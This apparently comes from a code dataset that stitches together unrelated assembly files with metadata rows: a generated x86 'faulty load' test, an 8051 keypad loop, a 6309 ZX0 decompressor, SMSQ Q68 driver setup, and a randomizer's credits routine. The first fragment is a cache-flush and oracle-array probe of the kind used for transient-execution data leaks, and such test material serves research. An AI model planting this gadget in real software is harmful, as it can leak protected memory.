mov (%rbx), %r12
nop
nop
nop
cmp %r10, %r10
lea addresses_A_ht+0xb6b9, %rbx
clflush (%rbx)
nop
nop
nop
nop
nop
inc %rsi
movl $0x61626364, (%rbx)
add %r13, %r13
lea addresses_WT_ht+0xab99, %r13
nop
sub %r15, %r15
mov $0x6162636465666768, %rbx
movq %rbx, %xmm6
movups %xmm6, (%r13)
nop
and $42701, %r15
pop %rsi
pop %rbx
pop %r9
pop %r15
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r15
push %rbp
push %rbx
push %rdi
// Load
lea addresses_WT+0x2e79, %r13
clflush (%r13)
nop
nop
nop
nop
nop
inc %rbp
mov (%r13), %rbx
nop
sub %r14, %r14
// Store
lea addresses_D+0x18279, %r10
and $8471, %r15
mov $0x5152535455565758, %r14
movq %r14, (%r10)
nop
nop
nop
nop
nop
inc %r13
// Faulty Load
lea addresses_D+0x18279, %rbp
xor $60345, %rdi
vmovups (%rbp), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %r13
lea oracles, %r14
and $0xff, %r13
shlq $12, %r13
mov (%r14,%r13,1), %r13
pop %rdi
pop %rbx
pop %rbp
pop %r15
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'src': {'NT': True, 'AVXalign': True, 'size': 8, 'congruent': 10, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 39.764706 | 2,999 | 0.653517 |
6bf13ac359a5a6ed623734fcfcc7f1d3c1c15acc | 137 | asm | Assembly | dataToTestOn/asm/4/prog03.asm | Epacik/8051-ASM-Plugin | 3e2cf55c82733d66198bd41a68f8363c0129043b | [
"MIT"
] | 1 | 2020-11-10T18:42:46.000Z | 2020-11-10T18:42:46.000Z | dataToTestOn/asm/4/prog03.asm | Epacik/8051-ASM-Plugin | 3e2cf55c82733d66198bd41a68f8363c0129043b | [
"MIT"
] | null | null | null | dataToTestOn/asm/4/prog03.asm | Epacik/8051-ASM-Plugin | 3e2cf55c82733d66198bd41a68f8363c0129043b | [
"MIT"
] | null | null | null | LJMP START
ORG 100H
START:
CALL LCD_CLR
KLAWISZ:
CALL WAIT_KEY
RRC A
CPL C
MOV P1.7, C
SJMP KLAWISZ | 13.7 | 18 | 0.562044 |
82061411ebec237ca42cd42caeed7f11b9699d3b | 4,288 | asm | Assembly | 6309/zx0_6309_mega.asm | nowhereman999/zx0-6x09 | 6c9053d19057ef1a9a3c5c2fabcea5911e450dac | [
"Zlib"
] | 1 | 2021-10-02T18:33:50.000Z | 2021-10-02T18:33:50.000Z | 6309/zx0_6309_mega.asm | nowhereman999/zx0-6x09 | 6c9053d19057ef1a9a3c5c2fabcea5911e450dac | [
"Zlib"
] | null | null | null | 6309/zx0_6309_mega.asm | nowhereman999/zx0-6x09 | 6c9053d19057ef1a9a3c5c2fabcea5911e450dac | [
"Zlib"
] | null | null | null | ; zx0_6309_mega.asm - ZX0 decompressor for H6309 - 149 bytes
;
; Copyright (c) 2021 Doug Masten
; ZX0 compression (c) 2021 Einar Saukas, https://github.com/einar-saukas/ZX0
;
; This software is provided 'as-is', without any express or implied
; warranty. In no event will the authors be held liable for any damages
; arising from the use of this software.
;
; Permission is granted to anyone to use this software for any purpose,
; including commercial applications, and to alter it and redistribute it
; freely, subject to the following restrictions:
;
; 1. The origin of this software must not be misrepresented; you must not
; claim that you wrote the original software. If you use this software
; in a product, an acknowledgment in the product documentation would be
; appreciated but is not required.
; 2. Altered source versions must be plainly marked as such, and must not be
; misrepresented as being the original software.
; 3. This notice may not be removed or altered from any source distribution.
; rotate next bit into elias value
zx0_elias_rotate macro
lsla ; get next bit
rolw ; rotate bit into elias value
lsla ; get next bit
endm
; only get one bit from stream
zx0_get_1bit macro
lsla ; get next bit
bne done@ ; is bit stream empty? no, branch
lda ,x+ ; load another group of 8 bits
rola ; get next bit
done@ equ *
endm
; get elias value
zx0_get_elias macro
bcs done@
loop@ zx0_elias_rotate
bcc loop@ ; loop until done
bne done@ ; is bit stream empty? no, branch
bsr zx0_reload ; process rest of elias until done
done@ equ *
endm
;------------------------------------------------------------------------------
; Function : zx0_decompress
; Entry : Reg X = start of compressed data
; : Reg U = start of decompression buffer
; Exit : Reg X = end of compressed data + 1
; : Reg U = end of decompression buffer + 1
; Destroys : Regs D, V, W, Y
; Description : Decompress ZX0 data
;------------------------------------------------------------------------------
zx0_decompress
ldq #$ffff0001 ; init offset = -1 and elias = 1
tfr d,v ; preserve offset
lda #$80 ; init bit stream
bra zx0_literals
; 1 - copy from new offset (repeat N bytes from new offset)
zx0_new_offset
zx0_get_1bit
zx0_get_elias
comf
incf
beq zx0_rts
tfr f,e
ldf ,x+
rorw
tfr w,v
ldw #1 ; set elias = 1
zx0_get_elias
incw
zx0_copy tfr u,y
addr v,y
tfm y+,u+ ; copy match
incw ; set elias = 1
lsla
bcs zx0_new_offset
; 0 - literal (copy next N bytes)
zx0_literals
zx0_get_1bit
zx0_get_elias
tfm x+,u+ ; copy literals
incw ; set elias = 1
lsla ; copy from last offset or new offset?
bcs zx0_new_offset
; 0 - copy from last offset (repeat N bytes from last offset)
zx0_get_1bit
zx0_get_elias
bra zx0_copy
; interlaced elias gamma coding
loop@ zx0_elias_rotate
zx0_reload lda ,x+ ; load another group of 8 bits
rola
bcs zx0_rts
zx0_elias_rotate
bcs zx0_rts
zx0_elias_rotate
bcs zx0_rts
zx0_elias_rotate
bcc loop@
zx0_rts rts
| 37.946903 | 79 | 0.485541 |
afd49ad7f47ef0bf6d1c657435c923cff4c037dd | 2,745 | asm | Assembly | smsq/q68/driver/most.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | smsq/q68/driver/most.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | smsq/q68/driver/most.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; base area SMSQ Q68 Drivers 0.00 (C) W. Lenerz 2016
; 2020-03-27 1.01 check whether kbd read via interrutps is possible
section header
xref smsq_end
header_base
dc.l gl_most-header_base ; length of header
dc.l 0 ; module length unknown
dc.l smsq_end-gl_most ; loaded length
dc.l 0 ; checksum
dc.l 0 ; always select
dc.b 1 ; 1 level down
dc.b 0
dc.w smsq_name-*
smsq_name
dc.w 17,'SMSQ Q68 Drivers '
dc.l ' '
dc.w $200a
section base
xref iob_smsq ; SMSQ IOB bits
xref q68_int2
xref q68_int2h
xref kbd_initiq68
xref kbd_initi
xref kbd_intr
xref mse_init
xref dev_init
xref nul_init
xref pipe_init
xref rd_init
xref iob_init
xref history_init
xref ssss_init
xref q68_spp_init
xref cpy_mmod
include 'dev8_keys_qlv'
include 'dev8_keys_q68'
include 'dev8_keys_sys'
include 'dev8_keys_con'
include 'dev8_keys_psf'
include 'dev8_keys_qlhw'
include 'dev8_keys_qdos_sms'
include 'dev8_smsq_smsq_base_keys'
include 'dev8_smsq_smsq_config_keys'
include 'dev8_smsq_gold_keys'
include 'dev8_mac_assert'
include 'dev8_keys_68000'
gl_most
bra.l start
xdef iou_dirshr
iou_dirshr dc.w 0 ; shared directories supported (RAM disk)
section init
start
jsr ssss_init
jsr dev_init
jsr nul_init
jsr pipe_init
jsr rd_init
jsr iob_init
jsr history_init
; now the interrupt handlers, try to order them so that the one that will
; probably called the most (mouse, as it generates several interrupts per
; move) is called first. This means that it should be linked in last.
jsr q68_spp_init ; serial port, will be last interrupts called
st kbd_status ; try to use interrupts for keyboard
move.b kbd_status,d0
btst #7,d0 ; can I use interrupts for keyboard?
beq.s no_intr ; ... no
jsr kbd_initi ; ... yes, so generic smsq kbd queue poll
jsr kbd_intr ; and set up kbd read via interrupt
bra.s common
no_intr jsr kbd_initiq68 ; both kbd fetch and read queue via poll
common jsr mse_init
sys_init
; When we have linked in the interrupt servers, we can enable the interrupts
moveq #sms.xtop,d0
trap #do.sms2
clr.w psf_sr(a5) ; we can clear interrupts on return
mmreg reg d1/a1/a2
new movem.l mmreg,-(a7)
lea q68_int2h,a0
jsr cpy_mmod
lea exv_i2,a5
move.l 4(a0),(a5) ; set interrupt level 2 routine address
movem.l (a7)+,mmreg
poll
lea hw_poll,a0 ; set hardware polling routine
lea sms.hpoll,a5 ; and tidy up
move.l a0,(a5)
rts
;+++
; Q68 SMSQ polling interrupt server operating off the frame interrupt.
; Clears the frame interupt (and, implicitly, the interface interrupt).
; See SHD_POLL.
;---
hw_poll
moveq #pc.intrf,d7
or.b sys_qlir(a6),d7 ; Im' not sure this makes sense for Q68
move.b d7,pc_intr ; clear offending interrupt
rts
end
| 22.68595 | 76 | 0.742805 |
5ef9b48b34b79ea6cea5bfaacc6ee79a4b944ef2 | 35,417 | asm | Assembly | src/credits.asm | PJBoy/alttp_sm_combo_randomizer_rom | 4f14c87227b512a864d1f298e4a6efe7cbc373b3 | [
"MIT"
] | 31 | 2018-05-03T06:43:23.000Z | 2021-07-16T13:17:01.000Z | src/credits.asm | PJBoy/alttp_sm_combo_randomizer_rom | 4f14c87227b512a864d1f298e4a6efe7cbc373b3 | [
"MIT"
] | 13 | 2018-05-08T20:15:54.000Z | 2022-01-20T21:28:53.000Z | src/credits.asm | PJBoy/alttp_sm_combo_randomizer_rom | 4f14c87227b512a864d1f298e4a6efe7cbc373b3 | [
"MIT"
] | 26 | 2018-05-04T12:25:41.000Z | 2022-03-23T20:27:57.000Z | org $ff0000
namespace "credits"
!BLUE = "table data/tables/blue.tbl,rtl"
!WHITE = "table data/tables/white.tbl,rtl"
!YELLOW = "table data/tables/yellow.tbl,rtl"
!PURPLE = "table data/tables/purple.tbl,rtl"
!ORANGE = "table data/tables/orange.tbl,rtl"
!GREEN = "table data/tables/green.tbl,rtl"
!CYAN = "table data/tables/cyan.tbl,rtl"
!PINK = "table data/tables/pink.tbl,rtl"
!BIG = "table data/tables/big.tbl,rtl"
!OFF = "cleartable"
!CREDITS_SPEED = $40
!CREDITS_SPEED_COUNTER = $42
!CREDITS_UPDATE_COUNTER = $44
!CREDITS_UPDATE_FLAG = $46
!CREDITS_MODE = $48
!CREDITS_Y = $20
!CREDITS_ADDR = $24
!CREDITS_VRAM_ADDR = $28
!CREDITS_NMI_DONE = $0e
!CREDITS_BG = $30
!CREDITS_BG_MODE = $32
!CREDITS_BG_COUNTER = $34
!CREDITS_BG_UPDATE = $36
!CREDITS_BG_PAL = $7ef000
!CREDITS_BG_DELAY = $38
!CREDITS_STREAM_SKIP = $b4
!CREDITS_STREAM_WAIT = $b6
init:
; Set up a consistent SNES state
sei
%ai16()
ldx #$1fff
txs
; Set data bank register to bank 00
pea $0000
plb : plb
; Direct page to 2100 for HW regs
lda #$2100
tcd
%a8()
; Disable NMI and H-DMA
lda #$00
sta $4200
sta $420c
; Turn on forced blanking
lda #$8f
sta $00
lda #$01
sta $420d ; enable FastROM
; Set "game" to credits so we can have our own NMI routine
lda #$11
sta !SRAM_CURRENT_GAME
; Clear all PPU registers
ldx #$0001
- ; loop over ppu registers $2101-$2133
stz $00,x ; write 0 to direct page ($2100) + x
stz $00,x ; some registers need to be written twice
inx
cpx #$0034 ; while x < $33 ($2133)
bne -
; Restore zero page
%ai16()
lda #$0000
tcd
; Start SPC song
jsl playmusic
; Load credits fonts and palettes into VRAM/CGRAM
%ai16()
jsr load_graphics
jsr load_tilemap
; Write stats to tilemap
jsr write_stats
; Blank out background palette
lda #$0000
ldx #$0000
-
sta !CREDITS_BG_PAL,x
inx : inx
cpx #$0020
bne -
jsr write_bg_pal
%a8()
; Set BG mode 1
lda #$01
sta $2105
; Set BG1 screen base to start of VRAM
lda #$02
sta $2107
; Set BG2 screen base to 0x1000
lda #$08
sta $2108
; Set BG1&2 tilemap base to 0xA000
lda #$35
sta $210b
lda #$03
sta $212c
lda #$02
sta $212d
; Disable forced blanking
lda #$0f
sta $2100
rep #$30
lda #$0000
sta !CREDITS_Y
sta !CREDITS_VRAM_ADDR
sta !CREDITS_BG
sta !CREDITS_BG_MODE
sta !CREDITS_BG_DELAY
sta !CREDITS_MODE
lda #$001F
sta !CREDITS_BG_COUNTER
lda #$0003
sta !CREDITS_SPEED
sta !CREDITS_SPEED_COUNTER
lda #$0000
sta !CREDITS_UPDATE_FLAG
lda #$0040
sta !CREDITS_UPDATE_COUNTER
; Setup pointer to next credits row to load
lda #$0000
clc
adc #$0800
sta !CREDITS_ADDR
lda #$007f
sta !CREDITS_ADDR+2
; %a16()
; lda #$0001
; sta !CREDITS_STREAM_SKIP
; lda #$0030
; sta !CREDITS_STREAM_WAIT
; jsl stream_upload
%a8()
; Turn NMI back on
lda #$80
sta $4200
.loop
; Increase scroll register every "CREDITS_SPEED" amount of frames
rep #$30
lda !CREDITS_MODE
bne .scrollend
lda !CREDITS_SPEED_COUNTER
dec a
bne +
dec !CREDITS_UPDATE_COUNTER
inc !CREDITS_Y
lda !CREDITS_SPEED
+
sta !CREDITS_SPEED_COUNTER
; Check if we need to update tilemap data
lda !CREDITS_UPDATE_COUNTER
bne +
lda #$0010
sta !CREDITS_UPDATE_COUNTER
; Set DMA parameters for NMI DMA copy
lda !CREDITS_ADDR : sta $d0
lda !CREDITS_ADDR+2 : sta $d2
lda !CREDITS_VRAM_ADDR : sta $d4
lda #$0080 : sta $d6
; Tell the NMI routine to do a DMA transfer
lda #$0001
sta !CREDITS_UPDATE_FLAG
lda !CREDITS_ADDR
clc : adc #$0080
sta !CREDITS_ADDR
lda !CREDITS_VRAM_ADDR
clc : adc #$0040
cmp #$0800
bne ++
lda #$0000
++
sta !CREDITS_VRAM_ADDR
+
.scrollend
lda !CREDITS_BG_DELAY
dec a
bmi +
sta !CREDITS_BG_DELAY
jmp .endbg
+
; Credits BG
LDA !CREDITS_BG_MODE
cmp #$0000
beq .fadein
cmp #$0001
beq .show
cmp #$0002
beq .fadeout
cmp #$0003
beq .switch
jmp .endbg
.fadein
lda !CREDITS_BG_COUNTER
sta $04
lda !CREDITS_BG
bne +
lda #samus_pal
bra ++
+
lda #triforce_pal
++
sta $02
jsr write_faded_pal
lda !CREDITS_BG_COUNTER
dec a
bpl +
lda #$0001
sta !CREDITS_BG_MODE
lda #$0200
+
sta !CREDITS_BG_COUNTER
lda #$0001
sta !CREDITS_BG_UPDATE
lda #$0004
sta !CREDITS_BG_DELAY
jmp .endbg
.show
lda !CREDITS_BG_COUNTER
dec a
bne +
lda #$0002
sta !CREDITS_BG_MODE
lda #$0000
+
sta !CREDITS_BG_COUNTER
jmp .endbg
.fadeout
lda !CREDITS_BG_COUNTER
sta $04
lda !CREDITS_BG
bne +
lda #samus_pal
bra ++
+
lda #triforce_pal
++
sta $02
jsr write_faded_pal
lda !CREDITS_BG_COUNTER
inc a
cmp #$0020
bne +
lda #$0003
sta !CREDITS_BG_MODE
lda #$0000
+
sta !CREDITS_BG_COUNTER
lda #$0001
sta !CREDITS_BG_UPDATE
lda #$0004
sta !CREDITS_BG_DELAY
jmp .endbg
.switch
lda !CREDITS_BG
bne +
lda #$0001
sta !CREDITS_BG
bra ++
+
lda #$0000
sta !CREDITS_BG
++
lda #$0002
sta !CREDITS_BG_UPDATE
jmp .endbg
.endbg
ldx #$0000
phx
-
lda.l events,x
beq .endevents
cmp !CREDITS_ADDR
bne .next_event
lda.l events+2,x ; Load command
cmp #$0001
beq .adjust_speed
cmp #$000f
beq .stop
cmp #$0010
beq .check_config
bra .next_event
.adjust_speed
lda.l events+4,x
sta !CREDITS_SPEED
bra .next_event
.stop
lda #$000f
sta !CREDITS_MODE
bra .next_event
.check_config
; Load config flag offset and check it
lda.l events+4, x : phx : tax
lda.l config_flags&$ff0000, x : plx
cmp #$0000
bne .next_event
; If it's zero, skip to the next part as defined in the event
lda.l events+6, x
sta !CREDITS_ADDR
bra .next_event
.next_event
plx
inx
phx
txa : asl #3 : tax
bra -
.endevents
plx
; Wait for NMI
lda #$0000
sta !CREDITS_NMI_DONE
-
lda !CREDITS_NMI_DONE
beq -
jmp .loop
; Credits NMI routine
nmi:
pha : phx : phy : php
%a8()
lda !CREDITS_Y
sta $210e
lda !CREDITS_Y+1
sta $210e
%ai16()
lda !CREDITS_UPDATE_FLAG
beq +
jsr write_vram_zp
lda #$0000
sta !CREDITS_UPDATE_FLAG
+
lda !CREDITS_BG_UPDATE
cmp #$0001
beq .writepal
cmp #$0002
beq .switchbg
bra .bgend
.writepal
jsr write_bg_pal
bra .bgend
.switchbg
lda !CREDITS_BG
bne +
%a8()
lda #$08
sta $2108
lda #$35
sta $210b
%a16()
bra ++
+
%a8()
lda #$10
sta $2108
lda #$75
sta $210b
%a16()
++
lda #$0000
sta !CREDITS_BG_MODE
lda #$001f
sta !CREDITS_BG_COUNTER
.bgend
rep #$30
lda #$0001
sta !CREDITS_NMI_DONE
; lda !CREDITS_STREAM_WAIT
; beq +
; dec !CREDITS_STREAM_WAIT
; bra .nmiend
; +
; jsl stream_samples
.nmiend
plp : ply : plx : pla
rti
load_graphics:
pha : phx : phy : php
%ai16()
jsr clear_vram
jsr write_vram : dl font_data : dw #$5000 : dw #$2000 ; Copy font data to VRAM
jsr write_vram : dl tilemap_data : dw #$0400 : dw #$0800 ; Copy first screen of credits tiles to VRAM
jsr write_vram : dl samus_gfx : dw #$6000 : dw #$2000 ; Copy samus_gfx to VRAM
jsr write_vram : dl samus_map : dw #$0800 : dw #$0800 ; Copy samus_map to VRAM
jsr write_vram : dl triforce_gfx : dw #$7000 : dw #$1000 ; Copy triforce_gfx to VRAM
jsr write_vram : dl triforce_map : dw #$1000 : dw #$0800 ; Copy trifoce_map to VRAM
%a8()
ldx #$0000
lda #$00
sta $2121
-
lda.l cgram_data,x
sta $2122
lda.l cgram_data+1,x
sta $2122
inx : inx
cpx #$0200
bne -
plp : ply : plx : pla
rts
write_bg_pal:
pha : phx : phy : php
%a8()
ldx #$0000
lda #$30
sta $2121
-
lda.l !CREDITS_BG_PAL,x
sta $2122
lda.l !CREDITS_BG_PAL+1,x
sta $2122
inx : inx
cpx #$0020
bne -
plp : ply : plx : pla
rts
load_tilemap:
pha : phx : phy : php
%ai16()
jsr write_wram : dl tilemap_data : dw #$0000 : dw #$8000 ; Copy tilemap data to 7f0000
plp : ply : plx : pla
rts
clear_vram:
rep #$30
lda #$0080
sta $2115
lda #$0000
sta $2116
lda #$007f
ldx #$0000
-
sta $2118
inx : inx
cpx #$1000
bne -
rts
write_vram:
; Get a pointer to the caller return address
rep #$30
lda #$00ff
sta $05
lda $01,s
sta $03
clc
adc #$0007 ; Realign return address
sta $01,s
; Set up DMA transfer
ldy #$0001
lda [$03],y ; Source address
sta $4302
iny
iny
lda [$03],y ; Source bank
sta $4304
iny
lda [$03],y ; Target VRAM address
sta $2116
iny
iny
lda [$03],y ; Transfer size
sta $4305
sep #$20
lda #$80
sta $2115
lda #$18
sta $4301
lda #$01
sta $4300
sta $420b
rep #$30
rts
write_vram_zp:
rep #$30
lda $d0
sta $4302
lda $d2
sta $4304
lda $d4
sta $2116
lda $d6
sta $4305
sep #$20
lda #$80
sta $2115
lda #$18
sta $4301
lda #$01
sta $4300
sta $420b
rep #$30
rts
write_wram:
; Get a pointer to the caller return address
rep #$30
lda #$00ff
sta $05
lda $01,s
sta $03
clc
adc #$0007 ; Realign return address
sta $01,s
; Set up DMA transfer
ldy #$0001
lda [$03],y ; Source address
sta $4302
iny
iny
lda [$03],y ; Source bank
sta $4304
iny
lda [$03],y ; Target WRAM address
sta $2181
lda #$0001
sta $2183
iny
iny
lda [$03],y ; Transfer size
sta $4305
sep #$20
lda #$80
sta $4301
lda #$00
sta $4300
lda #$01
sta $420b
rep #$30
rts
; Palette address in $02, fade in $04
write_faded_pal:
pha : phx : phy : php
%ai16()
ldx $02
ldy #$0000
-
; red component
lda $ff0000,x
and #$001f
sec
sbc $04
bpl +
lda #$0000
+
sta $06
; green component
lda $ff0000,x
lsr #5
and #$001f
sec
sbc $04
bpl +
lda #$0000
+
asl #5
ora $06
sta $06
; blue component
lda $ff0000,x
lsr #10
and #$001f
sec
sbc $04
bpl +
lda #$0000
+
asl #10
ora $06
sta $06
lda $06
phx
tyx
sta !CREDITS_BG_PAL,x
plx
iny : iny
inx : inx
cpy #$0020
bne -
plp : ply : plx : pla
rts
draw_full_time:
phx
phb
pea $7f7f : plb : plb
tax
lda $0000,x
sta $16
lda $0002,x
sta $14
lda #$003c
sta $12
lda #$ffff
sta $1a
jsr div32 ; frames in $14, rest in $16
iny : iny : iny : iny : iny : iny ; Increment Y three positions forward to write the last value
lda $14
jsr draw_two
tya
sec
sbc #$0010
tay ; Skip back 8 characters to draw the top three things
lda $16
jsr draw_time
plb
plx
rts
; Draw time as xx:yy:zz
draw_time:
phx
phb
dey : dey : dey : dey : dey : dey ; Decrement Y by 3 characters so the time count fits
pea $7f7f : plb : plb
sta $004204
sep #$20
lda #$ff
sta $1a
lda #$3c
sta $004206
pha : pla : pha : pla : rep #$20
lda $004216 ; Seconds or Frames
sta $12
lda $004214 ; First two groups (hours/minutes or minutes/seconds)
sta $004204
sep #$20
lda #$3c
sta $004206
pha : pla : pha : pla : rep #$20
lda $004216
sta $14
lda $004214 ; First group (hours or minutes)
jsr draw_two
iny : iny ; Skip past separator
lda $14 ; Second group (minutes or seconds)
jsr draw_two
iny : iny
lda $12 ; Last group (seconds or frames)
jsr draw_two
plb
plx
rts
; Draw 5-digit value to credits tilemap
; A = number to draw, Y = row address
draw_value:
phx
phb
pea $7f7f : plb : plb
sta $004204
lda #$0000
sta $1a ; Leading zeroes flag
sep #$20
lda #$64
sta $004206
pha : pla : pha : pla : rep #$20
lda $004216 ; Last two digits
sta $12
lda $004214 ; Top three digits
jsr draw_three
lda $12
jsr draw_two
plb
plx
rts
draw_three:
sta $004204
sep #$20
lda #$64
sta $004206
pha : pla : pha : pla : rep #$20
lda $004214 ; Hundreds
asl
tax
cmp $1a
beq +
lda.l numbers_top,x
sta $0034,y
lda.l numbers_bot,x
sta $0074,y
dec $1a
+
iny : iny ; Next number
lda $004216
draw_two:
sta $004204
sep #$20
lda #$0a
sta $004206
pha : pla : pha : pla : rep #$20
lda $004214
asl
tax
cmp $1a
beq +
lda.l numbers_top,x
sta $0034,y
lda.l numbers_bot,x
sta $0074,y
dec $1a
+
lda $004216
asl
tax
cmp $1a
beq +
lda.l numbers_top,x
sta $0036,y
lda.l numbers_bot,x
sta $0076,y
dec $1a
+
iny : iny : iny : iny
rts
div32:
phy
phx
php
rep #$30
sep #$10
sec
lda $14
sbc $12
bcs uoflo
ldx #$11
rep #$10
ushftl:
rol $16
dex
beq umend
rol $14
lda #$0000
rol
sta $18
sec
lda $14
sbc $12
tay
lda $18
sbc #$0000
bcc ushftl
sty $14
bra ushftl
uoflo:
lda #$ffff
sta $16
sta $14
umend:
plp
plx
ply
rts
write_stats:
pha : phx : phy : php : phb
%ai16()
pea $ffff
plb : plb
jsl load_stats ; Load SM stats from SRAM
lda $a0643e ; Create sum of total time
clc
adc $7ffc00
sta $7ffc3c
lda $a06440
adc $7ffc02
sta $7ffc3e
lda $a06423 ; Sum collected items
and #$00ff
clc
adc $7ffc3a
sta $7ffc3a
ldx #$0000
ldy #$0000
.loop
tya : asl #3 : tax
lda stats,x
bne +
jmp .end
+
lda stats+2,x
cmp #$0000
beq .sm_stat
cmp #$0001
beq .alttp_stat
jmp .continue
.sm_stat
lda stats+6,x ; SM stat type
cmp #$0001
beq .sm_number
cmp #$0002
beq .sm_time
cmp #$0003
beq .sm_fulltime
jmp .continue
.sm_number
lda stats+4,x ; SM stat number
jsl load_stat
pha
lda stats,x
tyx
tay
pla
jsr draw_value
txy
jmp .continue
.sm_time
; Load statistic
lda stats+4,x
jsl load_stat
pha
; Load row address
lda stats,x
tyx
tay
pla
jsr draw_time
txy
jmp .continue
.sm_fulltime
lda stats+4,x ; Get stat id
asl
clc
adc #$fc00 ; Get pointer to value instead of actual value
pha
; Load row address
lda stats,x
tyx
tay
pla
jsr draw_full_time
txy
jmp .continue
.alttp_stat
lda stats+6,x ; ALTTP stat type
cmp #$0001
beq .alttp_number
cmp #$0003
beq .alttp_fulltime
cmp #$0000
